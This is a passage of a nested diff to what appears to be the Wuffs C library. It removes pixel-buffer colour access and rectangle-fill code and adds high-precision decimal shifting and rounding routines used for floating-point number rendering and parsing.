return o | (r >> 16) | (b << 16); --} -+// wuffs_private_impl__high_prec_dec__lshift_num_new_digits returns the number -+// of additional decimal digits when left-shifting by shift. -+// -+// See below for preconditions. -+static uint32_t // -+wuffs_private_impl__high_prec_dec__lshift_num_new_digits( -+ wuffs_private_impl__high_prec_dec* h, -+ uint32_t shift) { -+ // Masking with 0x3F should be unnecessary (assuming the preconditions) but -+ // it's cheap and ensures that we don't overflow the -+ // wuffs_private_impl__hpd_left_shift array. -+ shift &= 63; - --static inline uint64_t // --wuffs_base__swap_u64_argb_abgr(uint64_t u) { -- uint64_t o = u & 0xFFFF0000FFFF0000ull; -- uint64_t r = u & 0x0000FFFF00000000ull; -- uint64_t b = u & 0x000000000000FFFFull; -- return o | (r >> 32) | (b << 32); --} -+ uint32_t x_a = wuffs_private_impl__hpd_left_shift[shift]; -+ uint32_t x_b = wuffs_private_impl__hpd_left_shift[shift + 1]; -+ uint32_t num_new_digits = x_a >> 11; -+ uint32_t pow5_a = 0x7FF & x_a; -+ uint32_t pow5_b = 0x7FF & x_b; - --static inline uint32_t // --wuffs_base__color_u64__as__color_u32__swap_u32_argb_abgr(uint64_t c) { -- uint32_t a = ((uint32_t)(0xFF & (c >> 56))); -- uint32_t r = ((uint32_t)(0xFF & (c >> 40))); -- uint32_t g = ((uint32_t)(0xFF & (c >> 24))); -- uint32_t b = ((uint32_t)(0xFF & (c >> 8))); -- return (a << 24) | (b << 16) | (g << 8) | (r << 0); -+ const uint8_t* pow5 = &wuffs_private_impl__powers_of_5[pow5_a]; -+ uint32_t i = 0; -+ uint32_t n = pow5_b - pow5_a; -+ for (; i < n; i++) { -+ if (i >= h->num_digits) { -+ return num_new_digits - 1; -+ } else if (h->digits[i] == pow5[i]) { -+ continue; -+ } else if (h->digits[i] < pow5[i]) { -+ return num_new_digits - 1; -+ } else { -+ return num_new_digits; -+ } -+ } -+ return num_new_digits; - } - - // -------- - --WUFFS_BASE__MAYBE_STATIC wuffs_base__color_u32_argb_premul // --wuffs_base__pixel_buffer__color_u32_at(const wuffs_base__pixel_buffer* pb, -- uint32_t x, -- uint32_t y) { -- if (!pb || (x >= pb->pixcfg.private_impl.width) || -- (y >= pb->pixcfg.private_impl.height)) { -+// wuffs_private_impl__high_prec_dec__rounded_integer returns the integral -+// (non-fractional) part of h, provided that it is 18 or fewer decimal digits. -+// For 19 or more digits, it returns UINT64_MAX. Note that: -+// - (1 << 53) is 9007199254740992, which has 16 decimal digits. -+// - (1 << 56) is 72057594037927936, which has 17 decimal digits. -+// - (1 << 59) is 576460752303423488, which has 18 decimal digits. -+// - (1 << 63) is 9223372036854775808, which has 19 decimal digits. -+// and that IEEE 754 double precision has 52 mantissa bits. -+// -+// That integral part is rounded-to-even: rounding 7.5 or 8.5 both give 8. -+// -+// h's negative bit is ignored: rounding -8.6 returns 9. -+// -+// See below for preconditions. -+static uint64_t // -+wuffs_private_impl__high_prec_dec__rounded_integer( -+ wuffs_private_impl__high_prec_dec* h) { -+ if ((h->num_digits == 0) || (h->decimal_point < 0)) { - return 0; -+ } else if (h->decimal_point > 18) { -+ return UINT64_MAX; - } - -- if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { -- // TODO: support planar formats. -- return 0; -+ uint32_t dp = (uint32_t)(h->decimal_point); -+ uint64_t n = 0; -+ uint32_t i = 0; -+ for (; i < dp; i++) { -+ n = (10 * n) + ((i < h->num_digits) ? h->digits[i] : 0); - } - -- size_t stride = pb->private_impl.planes[0].stride; -- const uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); -+ bool round_up = false; -+ if (dp < h->num_digits) { -+ round_up = h->digits[dp] >= 5; -+ if ((h->digits[dp] == 5) && (dp + 1 == h->num_digits)) { -+ // We are exactly halfway. If we're truncated, round up, otherwise round -+ // to even. -+ round_up = h->truncated || // -+ ((dp > 0) && (1 & h->digits[dp - 1])); -+ } -+ } -+ if (round_up) { -+ n++; -+ } - -- switch (pb->pixcfg.private_impl.pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -- return wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); -+ return n; -+} - -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { -- uint8_t* palette = pb->private_impl.planes[3].ptr; -- return wuffs_base__peek_u32le__no_bounds_check(palette + -- (4 * ((size_t)row[x]))); -- } -+// wuffs_private_impl__high_prec_dec__small_xshift shifts h's number (where 'x' -+// is 'l' or 'r' for left or right) by a small shift value. -+// -+// Preconditions: -+// - h is non-NULL. -+// - h->decimal_point is "not extreme". -+// - shift is non-zero. -+// - shift is "a small shift". -+// -+// "Not extreme" means within ±WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE. -+// -+// "A small shift" means not more than -+// WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL. -+// -+// wuffs_private_impl__high_prec_dec__rounded_integer and -+// wuffs_private_impl__high_prec_dec__lshift_num_new_digits have the same -+// preconditions. -+// -+// wuffs_private_impl__high_prec_dec__lshift keeps the first two preconditions -+// but not the last two. Its shift argument is signed and does not need to be -+// "small": zero is a no-op, positive means left shift and negative means right -+// shift. - -- // Common formats above. Rarer formats below. -+static void // -+wuffs_private_impl__high_prec_dec__small_lshift( -+ wuffs_private_impl__high_prec_dec* h, -+ uint32_t shift) { -+ if (h->num_digits == 0) { -+ return; -+ } -+ uint32_t num_new_digits = -+ wuffs_private_impl__high_prec_dec__lshift_num_new_digits(h, shift); -+ uint32_t rx = h->num_digits - 1; // Read index. -+ uint32_t wx = h->num_digits - 1 + num_new_digits; // Write index. -+ uint64_t n = 0; - -- case WUFFS_BASE__PIXEL_FORMAT__Y: -- return 0xFF000000 | (0x00010101 * ((uint32_t)(row[x]))); -- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: -- return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 1]))); -- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: -- return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 0]))); -+ // Repeat: pick up a digit, put down a digit, right to left. -+ while (((int32_t)rx) >= 0) { -+ n += ((uint64_t)(h->digits[rx])) << shift; -+ uint64_t quo = n / 10; -+ uint64_t rem = n - (10 * quo); -+ if (wx < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { -+ h->digits[wx] = (uint8_t)rem; -+ } else if (rem > 0) { -+ h->truncated = true; -+ } -+ n = quo; -+ wx--; -+ rx--; -+ } - -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: { -- uint8_t* palette = pb->private_impl.planes[3].ptr; -- return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u32le__no_bounds_check(palette + -- (4 * ((size_t)row[x])))); -+ // Put down leading digits, right to left. -+ while (n > 0) { -+ uint64_t quo = n / 10; -+ uint64_t rem = n - (10 * quo); -+ if (wx < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { -+ h->digits[wx] = (uint8_t)rem; -+ } else if (rem > 0) { -+ h->truncated = true; - } -+ n = quo; -+ wx--; -+ } - -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- return wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -- wuffs_base__peek_u16le__no_bounds_check(row + (2 * ((size_t)x)))); -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- return 0xFF000000 | -- wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x))); -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- return wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u64le__no_bounds_check(row + (8 * ((size_t)x)))); -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- return 0xFF000000 | -- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); -+ // Finish. -+ h->num_digits += num_new_digits; -+ if (h->num_digits > WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { -+ h->num_digits = WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION; -+ } -+ h->decimal_point += (int32_t)num_new_digits; -+ wuffs_private_impl__high_prec_dec__trim(h); -+} - -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- return wuffs_base__swap_u32_argb_abgr( -- 0xFF000000 | -- wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x)))); -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- return wuffs_base__swap_u32_argb_abgr( -- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u32le__no_bounds_check(row + -- (4 * ((size_t)x))))); -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -- return wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- return wuffs_base__swap_u32_argb_abgr( -- 0xFF000000 | -- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); -+static void // -+wuffs_private_impl__high_prec_dec__small_rshift( -+ wuffs_private_impl__high_prec_dec* h, -+ uint32_t shift) { -+ uint32_t rx = 0; // Read index. -+ uint32_t wx = 0; // Write index. -+ uint64_t n = 0; - -- default: -- // TODO: support more formats. -+ // Pick up enough leading digits to cover the first shift. -+ while ((n >> shift) == 0) { -+ if (rx < h->num_digits) { -+ // Read a digit. -+ n = (10 * n) + h->digits[rx++]; -+ } else if (n == 0) { -+ // h's number used to be zero and remains zero. -+ return; -+ } else { -+ // Read sufficient implicit trailing zeroes. -+ while ((n >> shift) == 0) { -+ n = 10 * n; -+ rx++; -+ } - break; -+ } -+ } -+ h->decimal_point -= ((int32_t)(rx - 1)); -+ if (h->decimal_point < -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { -+ // After the shift, h's number is effectively zero. -+ h->num_digits = 0; -+ h->decimal_point = 0; -+ h->truncated = false; -+ return; - } - -- return 0; -+ // Repeat: pick up a digit, put down a digit, left to right. -+ uint64_t mask = (((uint64_t)(1)) << shift) - 1; -+ while (rx < h->num_digits) { -+ uint8_t new_digit = ((uint8_t)(n >> shift)); -+ n = (10 * (n & mask)) + h->digits[rx++]; -+ h->digits[wx++] = new_digit; -+ } -+ -+ // Put down trailing digits, left to right. -+ while (n > 0) { -+ uint8_t new_digit = ((uint8_t)(n >> shift)); -+ n = 10 * (n & mask); -+ if (wx < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { -+ h->digits[wx++] = new_digit; -+ } else if (new_digit > 0) { -+ h->truncated = true; -+ } -+ } -+ -+ // Finish. -+ h->num_digits = wx; -+ wuffs_private_impl__high_prec_dec__trim(h); -+} -+ -+static void // -+wuffs_private_impl__high_prec_dec__lshift(wuffs_private_impl__high_prec_dec* h, -+ int32_t shift) { -+ if (shift > 0) { -+ while (shift > +WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) { -+ wuffs_private_impl__high_prec_dec__small_lshift( -+ h, WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL); -+ shift -= WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; -+ } -+ wuffs_private_impl__high_prec_dec__small_lshift(h, ((uint32_t)(+shift))); -+ } else if (shift < 0) { -+ while (shift < -WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) { -+ wuffs_private_impl__high_prec_dec__small_rshift( -+ h, WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL); -+ shift += WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; -+ } -+ wuffs_private_impl__high_prec_dec__small_rshift(h, ((uint32_t)(-shift))); -+ } - } - - // -------- - --WUFFS_BASE__MAYBE_STATIC wuffs_base__status // --wuffs_base__pixel_buffer__set_color_u32_at( -- wuffs_base__pixel_buffer* pb, -- uint32_t x, -- uint32_t y, -- wuffs_base__color_u32_argb_premul color) { -- if (!pb) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+// wuffs_private_impl__high_prec_dec__round_etc rounds h's number. For those -+// functions that take an n argument, rounding produces at most n digits (which -+// is not necessarily at most n decimal places). Negative n values are ignored, -+// as well as any n greater than or equal to h's number of digits. The -+// etc__round_just_enough function implicitly chooses an n to implement -+// WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION. -+// -+// Preconditions: -+// - h is non-NULL. -+// - h->decimal_point is "not extreme". -+// -+// "Not extreme" means within ±WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE. -+ -+static void // -+wuffs_private_impl__high_prec_dec__round_down( -+ wuffs_private_impl__high_prec_dec* h, -+ int32_t n) { -+ if ((n < 0) || (h->num_digits <= (uint32_t)n)) { -+ return; - } -- if ((x >= pb->pixcfg.private_impl.width) || -- (y >= pb->pixcfg.private_impl.height)) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ h->num_digits = (uint32_t)(n); -+ wuffs_private_impl__high_prec_dec__trim(h); -+} -+ -+static void // -+wuffs_private_impl__high_prec_dec__round_up( -+ wuffs_private_impl__high_prec_dec* h, -+ int32_t n) { -+ if ((n < 0) || (h->num_digits <= (uint32_t)n)) { -+ return; - } - -- if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { -- // TODO: support planar formats. -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ for (n--; n >= 0; n--) { -+ if (h->digits[n] < 9) { -+ h->digits[n]++; -+ h->num_digits = (uint32_t)(n + 1); -+ return; -+ } - } - -- size_t stride = pb->private_impl.planes[0].stride; -- uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); -+ // The number is all 9s. Change to a single 1 and adjust the decimal point. -+ h->digits[0] = 1; -+ h->num_digits = 1; -+ h->decimal_point++; -+} - -- switch (pb->pixcfg.private_impl.pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- wuffs_base__poke_u32le__no_bounds_check(row + (4 * ((size_t)x)), color); -- break; -+static void // -+wuffs_private_impl__high_prec_dec__round_nearest( -+ wuffs_private_impl__high_prec_dec* h, -+ int32_t n) { -+ if ((n < 0) || (h->num_digits <= (uint32_t)n)) { -+ return; -+ } -+ bool up = h->digits[n] >= 5; -+ if ((h->digits[n] == 5) && ((n + 1) == ((int32_t)(h->num_digits)))) { -+ up = h->truncated || // -+ ((n > 0) && ((h->digits[n - 1] & 1) != 0)); -+ } - -- // Common formats above. Rarer formats below. -- -- case WUFFS_BASE__PIXEL_FORMAT__Y: -- wuffs_base__poke_u8__no_bounds_check( -- row + ((size_t)x), -- wuffs_base__color_u32_argb_premul__as__color_u8_gray(color)); -- break; -- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: -- wuffs_base__poke_u16le__no_bounds_check( -- row + (2 * ((size_t)x)), -- wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); -- break; -- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: -- wuffs_base__poke_u16be__no_bounds_check( -- row + (2 * ((size_t)x)), -- wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); -- break; -- -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: -- wuffs_base__poke_u8__no_bounds_check( -- row + ((size_t)x), wuffs_base__pixel_palette__closest_element( -- wuffs_base__pixel_buffer__palette(pb), -- pb->pixcfg.private_impl.pixfmt, color)); -- break; -- -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- wuffs_base__poke_u16le__no_bounds_check( -- row + (2 * ((size_t)x)), -- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); -- break; -- case WUFFS_BASE__PIXEL_FORMAT__BGR: -- wuffs_base__poke_u24le__no_bounds_check(row + (3 * ((size_t)x)), color); -- break; -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -- wuffs_base__poke_u32le__no_bounds_check( -- row + (4 * ((size_t)x)), -- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -- color)); -- break; -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -- wuffs_base__poke_u64le__no_bounds_check( -- row + (8 * ((size_t)x)), -- wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( -- color)); -- break; -- -- case WUFFS_BASE__PIXEL_FORMAT__RGB: -- wuffs_base__poke_u24le__no_bounds_check( -- row + (3 * ((size_t)x)), wuffs_base__swap_u32_argb_abgr(color)); -- break; -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -- wuffs_base__poke_u32le__no_bounds_check( -- row + (4 * ((size_t)x)), -- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -- wuffs_base__swap_u32_argb_abgr(color))); -- break; -- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__RGBX: -- wuffs_base__poke_u32le__no_bounds_check( -- row + (4 * ((size_t)x)), wuffs_base__swap_u32_argb_abgr(color)); -- break; -- -- default: -- // TODO: support more formats. -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ if (up) { -+ wuffs_private_impl__high_prec_dec__round_up(h, n); -+ } else { -+ wuffs_private_impl__high_prec_dec__round_down(h, n); - } -- -- return wuffs_base__make_status(NULL); - } - --// -------- -- --static inline void // --wuffs_base__pixel_buffer__set_color_u32_fill_rect__xx( -- wuffs_base__pixel_buffer* pb, -- wuffs_base__rect_ie_u32 rect, -- uint16_t color) { -- size_t stride = pb->private_impl.planes[0].stride; -- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); -- if ((stride == (2 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { -- uint8_t* ptr = -- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); -- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); -- size_t n; -- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { -- wuffs_base__poke_u16le__no_bounds_check(ptr, color); -- ptr += 2; -- } -+static void // -+wuffs_private_impl__high_prec_dec__round_just_enough( -+ wuffs_private_impl__high_prec_dec* h, -+ int32_t exp2, -+ uint64_t mantissa) { -+ // The magic numbers 52 and 53 in this function are because IEEE 754 double -+ // precision has 52 mantissa bits. -+ // -+ // Let f be the floating point number represented by exp2 and mantissa (and -+ // also the number in h): the number (mantissa * (2 ** (exp2 - 52))). -+ // -+ // If f is zero or a small integer, we can return early. -+ if ((mantissa == 0) || -+ ((exp2 < 53) && (h->decimal_point >= ((int32_t)(h->num_digits))))) { - return; - } - -- uint32_t y; -- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { -- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + -- (2 * ((size_t)rect.min_incl_x)); -- uint32_t n; -- for (n = width; n > 0; n--) { -- wuffs_base__poke_u16le__no_bounds_check(ptr, color); -- ptr += 2; -- } -- } --} -+ // The smallest normal f has an exp2 of -1022 and a mantissa of (1 << 52). -+ // Subnormal numbers have the same exp2 but a smaller mantissa. -+ static const int32_t min_incl_normal_exp2 = -1022; -+ static const uint64_t min_incl_normal_mantissa = 0x0010000000000000ul; - --static inline void // --wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxx( -- wuffs_base__pixel_buffer* pb, -- wuffs_base__rect_ie_u32 rect, -- uint32_t color) { -- size_t stride = pb->private_impl.planes[0].stride; -- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); -- if ((stride == (3 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { -- uint8_t* ptr = -- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); -- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); -- size_t n; -- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { -- wuffs_base__poke_u24le__no_bounds_check(ptr, color); -- ptr += 3; -- } -- return; -+ // Compute lower and upper bounds such that any number between them (possibly -+ // inclusive) will round to f. First, the lower bound. Our number f is: -+ // ((mantissa + 0) * (2 ** ( exp2 - 52))) -+ // -+ // The next lowest floating point number is: -+ // ((mantissa - 1) * (2 ** ( exp2 - 52))) -+ // unless (mantissa - 1) drops the (1 << 52) bit and exp2 is not the -+ // min_incl_normal_exp2. Either way, call it: -+ // ((l_mantissa) * (2 ** (l_exp2 - 52))) -+ // -+ // The lower bound is halfway between them (noting that 52 became 53): -+ // (((2 * l_mantissa) + 1) * (2 ** (l_exp2 - 53))) -+ int32_t l_exp2 = exp2; -+ uint64_t l_mantissa = mantissa - 1; -+ if ((exp2 > min_incl_normal_exp2) && (mantissa <= min_incl_normal_mantissa)) { -+ l_exp2 = exp2 - 1; -+ l_mantissa = (2 * mantissa) - 1; - } -+ wuffs_private_impl__high_prec_dec lower; -+ wuffs_private_impl__high_prec_dec__assign(&lower, (2 * l_mantissa) + 1, -+ false); -+ wuffs_private_impl__high_prec_dec__lshift(&lower, l_exp2 - 53); - -- uint32_t y; -- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { -- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + -- (3 * ((size_t)rect.min_incl_x)); -- uint32_t n; -- for (n = width; n > 0; n--) { -- wuffs_base__poke_u24le__no_bounds_check(ptr, color); -- ptr += 3; -- } -- } --} -+ // Next, the upper bound. Our number f is: -+ // ((mantissa + 0) * (2 ** (exp2 - 52))) -+ // -+ // The next highest floating point number is: -+ // ((mantissa + 1) * (2 ** (exp2 - 52))) -+ // -+ // The upper bound is halfway between them (noting that 52 became 53): -+ // (((2 * mantissa) + 1) * (2 ** (exp2 - 53))) -+ wuffs_private_impl__high_prec_dec upper; -+ wuffs_private_impl__high_prec_dec__assign(&upper, (2 * mantissa) + 1, false); -+ wuffs_private_impl__high_prec_dec__lshift(&upper, exp2 - 53); - --static inline void // --wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( -- wuffs_base__pixel_buffer* pb, -- wuffs_base__rect_ie_u32 rect, -- uint32_t color) { -- size_t stride = pb->private_impl.planes[0].stride; -- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); -- if ((stride == (4 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { -- uint8_t* ptr = -- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); -- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); -- size_t n; -- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { -- wuffs_base__poke_u32le__no_bounds_check(ptr, color); -- ptr += 4; -- } -- return; -- } -+ // The lower and upper bounds are possible outputs only if the original -+ // mantissa is even, so that IEEE round-to-even would round to the original -+ // mantissa and not its neighbors. -+ bool inclusive = (mantissa & 1) == 0; - -- uint32_t y; -- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { -- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + -- (4 * ((size_t)rect.min_incl_x)); -- uint32_t n; -- for (n = width; n > 0; n--) { -- wuffs_base__poke_u32le__no_bounds_check(ptr, color); -- ptr += 4; -- } -- } --} -+ // As we walk the digits, we want to know whether rounding up would fall -+ // within the upper bound. This is tracked by upper_delta: -+ // - When -1, the digits of h and upper are the same so far. -+ // - When +0, we saw a difference of 1 between h and upper on a previous -+ // digit and subsequently only 9s for h and 0s for upper. Thus, rounding -+ // up may fall outside of the bound if !inclusive. -+ // - When +1, the difference is greater than 1 and we know that rounding up -+ // falls within the bound. -+ // -+ // This is a state machine with three states. The numerical value for each -+ // state (-1, +0 or +1) isn't important, other than their order. -+ int upper_delta = -1; - --static inline void // --wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( -- wuffs_base__pixel_buffer* pb, -- wuffs_base__rect_ie_u32 rect, -- uint64_t color) { -- size_t stride = pb->private_impl.planes[0].stride; -- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); -- if ((stride == (8 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { -- uint8_t* ptr = -- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); -- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); -- size_t n; -- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { -- wuffs_base__poke_u64le__no_bounds_check(ptr, color); -- ptr += 8; -+ // We can now figure out the shortest number of digits required. Walk the -+ // digits until h has distinguished itself from lower or upper. -+ // -+ // The zi and zd variables are indexes and digits, for z in l (lower), h (the -+ // number) and u (upper). -+ // -+ // The lower, h and upper numbers may have their decimal points at different -+ // places. In this case, upper is the longest, so we iterate ui starting from -+ // 0 and iterate li and hi starting from either 0 or -1. -+ int32_t ui = 0; -+ for (;; ui++) { -+ // Calculate hd, the middle number's digit. -+ int32_t hi = ui - upper.decimal_point + h->decimal_point; -+ if (hi >= ((int32_t)(h->num_digits))) { -+ break; - } -- return; -- } -+ uint8_t hd = (((uint32_t)hi) < h->num_digits) ? h->digits[hi] : 0; - -- uint32_t y; -- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { -- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + -- (8 * ((size_t)rect.min_incl_x)); -- uint32_t n; -- for (n = width; n > 0; n--) { -- wuffs_base__poke_u64le__no_bounds_check(ptr, color); -- ptr += 8; -+ // Calculate ld, the lower bound's digit. -+ int32_t li = ui - upper.decimal_point + lower.decimal_point; -+ uint8_t ld = (((uint32_t)li) < lower.num_digits) ? lower.digits[li] : 0; -+ -+ // We can round down (truncate) if lower has a different digit than h or if -+ // lower is inclusive and is exactly the result of rounding down (i.e. we -+ // have reached the final digit of lower). -+ bool can_round_down = -+ (ld != hd) || // -+ (inclusive && ((li + 1) == ((int32_t)(lower.num_digits)))); -+ -+ // Calculate ud, the upper bound's digit, and update upper_delta. -+ uint8_t ud = (((uint32_t)ui) < upper.num_digits) ? upper.digits[ui] : 0; -+ if (upper_delta < 0) { -+ if ((hd + 1) < ud) { -+ // For example: -+ // h = 12345??? -+ // upper = 12347??? -+ upper_delta = +1; -+ } else if (hd != ud) { -+ // For example: -+ // h = 12345??? -+ // upper = 12346??? -+ upper_delta = +0; -+ } -+ } else if (upper_delta == 0) { -+ if ((hd != 9) || (ud != 0)) { -+ // For example: -+ // h = 1234598? -+ // upper = 1234600? -+ upper_delta = +1; -+ } - } -- } --} - --WUFFS_BASE__MAYBE_STATIC wuffs_base__status // --wuffs_base__pixel_buffer__set_color_u32_fill_rect( -- wuffs_base__pixel_buffer* pb, -- wuffs_base__rect_ie_u32 rect, -- wuffs_base__color_u32_argb_premul color) { -- if (!pb) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } else if (wuffs_base__rect_ie_u32__is_empty(&rect)) { -- return wuffs_base__make_status(NULL); -- } -- wuffs_base__rect_ie_u32 bounds = -- wuffs_base__pixel_config__bounds(&pb->pixcfg); -- if (!wuffs_base__rect_ie_u32__contains_rect(&bounds, rect)) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -+ // We can round up if upper has a different digit than h and either upper -+ // is inclusive or upper is bigger than the result of rounding up. -+ bool can_round_up = -+ (upper_delta > 0) || // -+ ((upper_delta == 0) && // -+ (inclusive || ((ui + 1) < ((int32_t)(upper.num_digits))))); - -- if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { -- // TODO: support planar formats. -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ // If we can round either way, round to nearest. If we can round only one -+ // way, do it. If we can't round, continue the loop. -+ if (can_round_down) { -+ if (can_round_up) { -+ wuffs_private_impl__high_prec_dec__round_nearest(h, hi + 1); -+ return; -+ } else { -+ wuffs_private_impl__high_prec_dec__round_down(h, hi + 1); -+ return; -+ } -+ } else { -+ if (can_round_up) { -+ wuffs_private_impl__high_prec_dec__round_up(h, hi + 1); -+ return; -+ } -+ } - } -+} - -- switch (pb->pixcfg.private_impl.pixfmt.repr) { -- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -- case WUFFS_BASE__PIXEL_FORMAT__BGRX: -- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx(pb, rect, color); -- return wuffs_base__make_status(NULL); -- -- // Common formats above. Rarer formats below. -+// -------- - -- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xx( -- pb, rect, -- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); -- return wuffs_base__make_status(NULL); -+// wuffs_private_impl__parse_number_f64_eisel_lemire produces the IEEE 754 -+// double-precision value for an exact mantissa and base-10 exponent. For -+// example: -+// - when parsing "12345.678e+02", man is 12345678 and exp10 is -1. -+// - when parsing "-12", man is 12 and exp10 is 0. Processing the leading -+// minus sign is the responsibility of the caller, not this function. 